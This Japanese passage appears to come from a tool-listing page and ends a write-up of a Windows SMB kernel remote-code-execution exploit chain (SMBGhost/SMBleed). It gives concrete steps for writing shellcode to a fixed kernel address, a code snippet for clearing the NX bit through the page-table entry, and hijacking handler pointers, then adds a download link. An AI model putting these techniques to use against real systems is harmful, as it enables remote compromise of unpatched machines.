同様に、ntoskrnl ベースアドレスを取得した後、MiGetPteAddress(0xBA968)を取得し、PTE ベースアドレス(MiGetPteAddress + 0x13)を取得します。

![](https://assets.kitploit.com/production/public/readmes/24502/5c92df61b331c038bd90b2ccb878b7027bdbf6338602aecdda1b49a867eb42b1.png)

次のステップとして、write-what-where 手法を使用して、シェルコードを 0xFFFFF78000000800 に書き込みます。その後、以下の計算式を使用して PTE 内のシェルコードアドレスを再計算し、シェルコードが実行可能になるように NX ビットをクリアします。``` c
shellcode_addr >>= 9
shellcode_addr &= 0x7FFFFFFFF8
shellcode_addr += pte_base

最後に、シェルコードのアドレスを allocation_pool_object_ptr + 0x50 + 0x1600 に書き込み、HandlerFunctionsを使ってそのアドレスを置き換え、nt_base_ptrをシェルコードに渡すことでシェルコードを呼び出します。

RCEを楽しんでください :))

参考文献

  • SMBleedingGhost Writeup: Chaining SMBleed (CVE-2020-1206) with SMBGhost
  • SMBleedingGhost Writeup Part II: Unauthenticated Memory Read – Preparing the Ground for an RCE
  • SMBleedingGhost Writeup Part III: From Remote Read (SMBleed) to RCE
  • Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC
  • lznt1.py
  • TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL – LEVERAING WRITEWHAT-WHERE VULNERABILITIES IN CREATORS UPDATE
  • VERGILIUS_MDL
  • Exploit Development: Leveraging Page Table Entries for Windows Kernel Exploitation
  • RtlUnicodeStringCopy function
  • UNICODE_STRING structure

DatntSec. Viettel Cyber Security.

ツールをダウンロード
→ Allocation size ↓Logical Processor0x11000x21000x41000x81000x101000x201000x401000x801000x100100
Processor 1📝📝📝📝📝📝📝📝📝
Processor 2📝📝📝📝📝📝📝📝📝
...
Processor n📝📝📝📝📝📝📝📝📝